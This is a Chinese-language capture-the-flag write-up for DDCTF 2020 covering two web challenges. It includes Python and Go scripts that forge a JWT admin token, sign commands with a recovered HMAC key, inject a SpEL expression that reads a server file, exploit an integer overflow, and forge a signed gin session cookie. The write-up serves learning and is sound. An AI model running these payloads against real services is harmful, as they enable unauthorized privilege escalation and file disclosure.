DDCTF 2020 WP

本次DDCTF做题做得我心态有点炸,一个人比赛,心态不好调整,主要是做逆向和WEB,其他的没怎么看,一个安卓逆向把我心态搞崩溃了。

WEB

WEB签到题

叫什么签到题,签个锤子。。。。

链接:http://117.51.136.197/hint/1.txt

打开链接,有一个txt文档。

1.txt:

Interface documentation
- login interface
[-][Safet Reminder]The Private key cannot use request parameter
Request
Method | POST
URL    | http://117.51.136.197/admin/login
Param  | username str | pwd str
Response
token str | auth(Certification information)

- auth interface
Request
Method | POST
URL    | http://117.51.136.197/admin/auth
Param  | username str | pwd str | token str
Response
url str | client download link

+------------------+                +----------------------+                +--------------------+
|                  |                |                      |                |                    |
|                  +---------------->                      +---------------->                    |
|  Client(Linux)   |                |     Auth/Command     |                |       minion       |
|                  <----------------+                      +<---------------+                    |
|                  |                |                      |                |                    |
+------------------+                +----------------------+                +--------------------+

大概给了一个后台的两个接口:

  1. 以POST方式传递两个参数: username、pwd 返回一个token。
  2. 将第一个接口返回的token 和 username、pwd 传输过去,获得一个client的下载地址。

2333.txt:

[+]The key is a combination of ten letters
[+]command: {1+1}

第一个提示不知道哪里有用,第二个在client中有用。

思路:

  1. 首先随机输入用户名和密码,尝试获取token:

    输入username:admin 、pwd:admin ,返回:

    {"code":0,"message":"success","data":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwicHdkIjoiYWRtaW4iLCJ1c2VyUm9sZSI6IkdVRVNUIiwiZXhwIjoxNTk5NTg0MDA4fQ.Dt0ISAx0vCdcLPQIuXj-LrHN88BXPpi7Zw00JwX6pc4"}

    猜测是jwt,放到http://jwt.io进行解析,但是没有密钥。这里我使用的是c-jet-cracker ,爆破出的密钥是admin ,后来看群大佬里说密钥就是用户的密码,还好密码没瞎输,从1.txt第一个提示也可以看出来。解析JWT:

    {u'userName': u'admin', u'pwd': u'admin', u'userRole': 'ADMIN', u'exp': 1599584008}

    将userRole改为ADMIN,可以获得client的下载地址:

    {"code":0,"message":"success","data":"client dowload url: http://117.51.136.197/B5Itb8dFDaSFWZZo/client"}

    payload:

    import requests
    import jwt
    import json
    
    login_url = "http://117.51.136.197/admin/login"
    auth_url = "http://117.51.136.197/admin/auth"
    
    post_data = {
        "username": "admin",
        "pwd": "admin"
    }
    
    session = requests.post(url=login_url, data=post_data)
    res_data = session.text
    json_data = json.loads(res_data)
    jwt_data = json_data['data']
    data = jwt.decode(jwt_data,"admin",algorithm='HS256')
    data['userRole'] = 'ADMIN'
    jwt_data2 = jwt.encode(data, 'admin',algorithm='HS256')
    post_data2 = {
        'username':"admin",
        "pwd":"admin",
        'token':jwt_data2
    
    }
    
    if __name__ == '__main__':
        print res_data
        print jwt_data
        print data
        print (requests.post(auth_url,data=post_data2).text)
    
    
    
  2. client解析

    将client下载下来运行,程序提供用户的信息有:

    2020/09/07 12:08:59 
     ____  _  ____  _  ____  _____  _____       ____  ____  ____  ____ 
    /  _ \/ \/  _ \/ \/   _\/__ __\/    /      /_   \/  _ \/_   \/  _ \
    | | \|| || | \|| ||  /    / \  |  __\_____  /   /| / \| /   /| / \|
    | |_/|| || |_/|| ||  \__  | |  | |   \____\/   /_| \_/|/   /_| \_/|
    \____/\_/\____/\_/\____/  \_/  \_/         \____/\____/\____/\____/
                                                                       
    
    2020/09/07 12:08:59 
    +---------------------------------------------------+
    |Flag Path 	:= /home/dc2-user/flag/flag.txt			|
    |签名格式 	:= 	command|time_stamp					|
    +---------------------------------------------------+
    
    2020/09/07 12:08:59 
    +------------------+                +----------------------+                +--------------------+
    |                  |                |                      |                |                    |
    |                  +---------------->                      +---------------->                    |
    |     Client       |                |     Auth/Command     |                |       minion       |
    |                  <----------------+                      +<---------------+                    |
    |                  |                |                      |                |                    |
    +------------------+                +----------------------+                +--------------------+
    
    
    2020/09/07 12:08:59 [*]Start ping master...
    2020/09/07 12:08:59 [-]http://117.51.136.197/server/health connect succuess
    2020/09/07 12:08:59 [*]Start send command to minions...
    2020/09/07 12:08:59 [+]get sign:e+JdgmFlBGkAW2rj0Q6lS0ZZgIYCZ2ATI+qIt3Q0i/k=, command:'DDCTF', time_stamp:1599451739
    2020/09/07 12:08:59 [+]send command url http://117.51.136.197/server/command and response:{"code":0,"message":"success","data":"DDCTF"}
    
    

    可以看到flag的位置以及command的组成方式。尝试逆向一下client,发现是一个go语言写的程序,逆向后用IDAGolangHelper解析一下,重点在main_getSign函数:

    image-20200908011625803

    查看off_827ee0,可以看出使用的加密方式base(hmac(sha256))的方式,自己写go脚本:

        com := "'DDCTF'"
    //com := "(new java.io.BufferedReader(new java.io.FileReader('/home/dc2-user/flag/flag.txt'))).readLine()"
    	timestamp := time.Now().Unix()
    	command := []byte(fmt.Sprintf("%s|%d",com,timestamp))
    	fmt.Printf("%s\n", command)
    	hash := hmac.New(sha256.New, []byte("DDCTFWithYou"))
    	hash.Write(command)
    	result := hash.Sum(nil)
     	fmt.Printf("%s\n", base64.StdEncoding.EncodeToString(result))
    	data2 := fmt.Sprintf("{\"signature\":\"%s\",\"command\":\"%s\",\"timestamp\":%d}", base64.StdEncoding.EncodeToString(result), com, timestamp)
    	fmt.Printf("%s\n",data2)
    	resp, err := http.Post("http://117.51.136.197/server/command",
    		"application/json",
    		bytes.NewBuffer([]byte(data2)))
    	if err != nil {
    		fmt.Println(err)
    	}
    	defer resp.Body.Close()
    	body, _ := ioutil.ReadAll(resp.Body)
    	fmt.Println(string(body))
    

    返回:

    image-20200908012220185

    可见,脚本没有问题。

  3. spel

    接下来就是如何利用这个了,本来我以为是FLASK的SSIT,因为如果将'DDCTF'改为1+1,返回为2。也就是说存在命令执行,但是一直报错心态炸了。

    后来有人说spel,尝试去搜了一下,结合2333.txt里面的提示,觉得很有可能。

    有关spel的详细信息,可以看 https://www.cnblogs.com/poing/p/12837175.html 。

    先试试普通payload:T(Thread).sleep(10000),成功执行。直接读取flag:

    (new java.io.BufferedReader(new java.io.FileReader('/home/dc2-user/flag/flag.txt'))).readLine()

    返回:

    {"code":0,"message":"success","data":"DDCTF{Q24uf486whGOWN44UtZCjYUgdnnnRaVs}"}

礼物商店

打开链接,发现是一个礼物购买的页面链接有:

  • /balance 初始页面
  • /loans?loans= 借入卡片
  • /sends?sends= 借出卡片
  • /reset 重置游戏
  • /gift 兑换礼物

初始页面每20秒刷新一次,每次增加一个卡片,好像不存在有什么问题。初步发现可能存在问题的应该是在借出、借入卡片这两个链接,根据loans这个参数,可能存在整数溢出。但是并不知到阀值,只能一步步尝试。页面的输入框限制了长度,直接在url上修改,先使用一个比较大的数:

http://116.85.37.131/574da2df50d5d7ea64621e38a8bd6ad4/loans?loans=100000000000

image-20200908112934720

可以看到借来的卡片数目与我们的输入数字不同,还卡之后可以直接兑换礼物:

image-20200908113424383

Seckey:Udc13VD5adM_c10nPxFu@v12

伪造本地服务器,解析session,payload:

package main

import (
	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
)

func main() {
	r := gin.Default()
	store := cookie.NewStore([]byte("Udc13VD5adM_c10nPxFu@v12"))
	r.Use(sessions.Sessions("session",store))
	r.GET("/ping", func(context *gin.Context) {
		session := sessions.Default(context)
		session.Set("admin", true)
		session.Save()
		context.JSON(200, gin.H{
			"message":session.Get("admin"),
		})
	})
	r.Run()
}

可以查看后台的session有那些值:

image-20200909000842631

将admin的值置为1,将伪造之后的session请求到: http://116.85.37.131/574da2df50d5d7ea64621e38a8bd6ad4/flag ,成功获取flag:

{"flag":"DDCTF{H4v3FuNTh3Game23333!}\n"}

posted @ 2020-09-09 00:13  ch3cke  阅读(49)  评论(0)    收藏  举报